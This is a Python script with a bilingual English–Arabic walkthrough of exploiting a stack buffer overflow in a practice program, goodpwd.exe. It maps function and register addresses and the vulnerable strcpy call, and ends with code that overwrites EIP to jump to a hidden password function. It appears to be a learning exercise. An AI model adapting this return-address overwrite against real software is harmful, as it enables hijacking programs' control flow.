#!/usr/bin/python
"""
                         ___ (1) ___
################## goodpwd.exe analysing ##################
################## goodpwd.exe : تحليل البرنامج  ##################


1 - Methods addresses (العناوين الخاصة بالدوال التي تهمنا) :
	# main >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 00401568
	# bf_overflow >>>>>>>>>>>>>>>>>>>>>>>>>>>> 00401529
	# good_password (Our TARGET) >>>>>>>>>>>>> 00401548
	
----------------------------------------------------------------------

2 - Calling addresses (العناوين الخاصة بنداء الدوال) :
	# bf_overflow() >>>>>>>>>>>>>>>>>>>>>>>>>> 00401595
	
	(Our TARGET - الدالة المخفية التي نريد الوصول لها) 
	# good_password() >>>>>>>>>>>>>>>>>>>>>>>>> 004015A1

----------------------------------------------------------------------

3 - EIP address:
  EIP store the address of the next instruction ( the return address after bf_overflow() done its work) 
  EIP : هذا الريجستري يقوم بتخزين عنوان التعليمة التالية 
  bf_overflow() حتى يستطيع البرنامج استكمال عمله بعد انتهاء عمل الدالة  
  وهذه القيمة هي التي نريد الكتابة فوقها ( بإختصار نريد توجية البرنامج الى نداء الدالة المخفية )
	# EIP  >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 0040159A 

----------------------------------------------------------------------

4 - EBP and ESP for functions 
  I keep watching this addresses to understand what happened
  الغرض من معرفة هذه القيم لمتابعة سير عمل البرنامج ومعرفة نتيجة التغيير الذي نحدثه
	# 4.1- main function
		# EBP >>>>>>>>>>>>>>>>>>>>>>>>>>>> 006DFEB8
		# ESP >>>>>>>>>>>>>>>>>>>>>>>>>>>> 006DFE90

	# 4.2- bf_overflow function
		# EBP >>>>>>>>>>>>>>>>>>>>>>>>>>>> 006DFE88
		# ESP >>>>>>>>>>>>>>>>>>>>>>>>>>>> 006DFE60

	# 4.3- good_password function
		# EBP >>>>>>>>>>>>>>>>>>>>>>>>>>>> 006DFE88
		# ESP >>>>>>>>>>>>>>>>>>>>>>>>>>>> 006DFE60


----------------------------------------------------------------------

5 - Vulnerable Lines address
  هذه الدالة المصابة والتي تسمح لنا بإستغلال ثغرة فيضان ذاكرة التخزين المؤقت
		# strcpy() >>>>>>>>>>>>>>>>>>>>>>> 0040153C

----------------------------------------------------------------------

6 - The address we will write it on EIP
	         we can exploit goodpwd.exe in two scenarios (maybe there more, but that what I figured it out):
            1 - 004015A1 // this address is for Calling good_password() function
            OR
            2 - 00401548 // this is the first instruction address in the good_password() function,
                            we can directly go to the begining of good_password() without the address of CALL inst. 

          يوجد سيناريوهين للإستغلال ( ربما يوجد أكثر ، لكن هذا الذي قمت بالتوصل إليه )
            1 - 004015A1 // هذا العنوان الخاص بالتعليمة التي تقوم بنداء الدالة المخفية 
            أو 
            2 - 00401548 // هذا العنوان الخاص بأول تعليمة في الدالة المخفية 
                          نستطيع مباشرة الدخول إلى الدالة بدون اللجوء إلى العنوان الخاص بتعليمة نداء الدالة 

----------------------------------------------------------------------


                         ___ (2) ___
################## goodpwd.exe Exploiting ##################
################## goodpwd.exe : إستغلال ##################
This exploit will be simple , no shellcode injection, we just wanna overwrite the EIP value with the address of hidden function (which is good_password())
The exploit will be :
1 - Filling up with a junk data (22*A) until we reach EIP
2 - Overwrite the EIP value with the address we want (in STEP #6)

 Shellcode الإستغلال سيكون بسيط جدًا ، لن نقوم بعملية حقن لأي كود 
فقط سنقوم بالكتابة فوق الريجستري بعنوان الدالة المخفية ( ببساطة كأننا قمنا بتغيير عمل البرنامج عند نقطة معينة )

---------------------------------------------------------------------
|            Junk Bytes (22 Bytes)         | overwrite EIP(4 Bytes) |
---------------------------------------------------------------------


"""
import os
fill = "\x41" * 22
# Little Endian Representation, because it's windows
hiddenFunctionAddress = "\xA1\x15\x40"
exploit = fill + hiddenFunctionAddress
command = "goodpwd.exe %s" %exploit
os.system(command)
